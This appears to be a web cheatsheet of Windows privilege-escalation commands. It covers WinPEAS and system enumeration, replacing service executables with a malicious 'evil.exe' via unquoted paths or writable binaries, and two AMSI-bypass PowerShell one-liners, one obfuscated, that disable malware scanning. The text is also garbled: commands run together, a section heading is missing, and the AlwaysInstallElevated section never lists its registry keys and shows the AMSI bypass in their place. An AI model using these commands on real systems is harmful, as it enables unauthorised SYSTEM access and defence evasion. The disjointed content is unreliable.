Windows privilege escalation covers a wide range of techniques from unquoted service paths to token impersonation. This cheatsheet covers the most reliable techniques with exact commands for each.
Automated Enumeration
# WinPEAS .\winPEASx64.exe .\winPEASx64.exe quiet # reduced output .\winPEASx64.exe systeminfo # only system info
# System info systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" whoami /all # current user + groups + privileges whoami /priv # privileges only net user # list users net localgroup administrators # admin group members net user username # details on specific user
# Environment set PATH echo %USERNAME% %USERDOMAIN% %COMPUTERNAME%
# Running processes tasklist /SVC # processes with services Get-Process | Sort CPU -Descending
# Exploit: place malicious executable at the first writable location # e.g., C:\Program.exe or C:\Program Files\My.exe copy C:\evil.exe "C:\Program Files\My.exe" Restart-Service <servicename>
Writable service binary
# Check if the service binary itself is writable accesschk.exe -quvw"C:\Program Files\Vulnerable\service.exe" cacls "C:\Program Files\Vulnerable\service.exe"
# If writable, replace with malicious binary copy /Y C:\evil.exe "C:\Program Files\Vulnerable\service.exe" Restart-Service <servicename>
AlwaysInstallElevated
If both these registry keys are set to 1, MSI files run with SYSTEM privileges:
# Bypass AMSI before running tools [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Or $a='si';$b='Am';$Ref=[Ref].Assembly.GetType(('System.Management.Automation.'+$b+$a+'Utils')); $z=$Ref.GetField(('am'+$a+'InitFailed'),'NonPublic,Static');$z.SetValue($null,$true)
No comments yet. Be the first.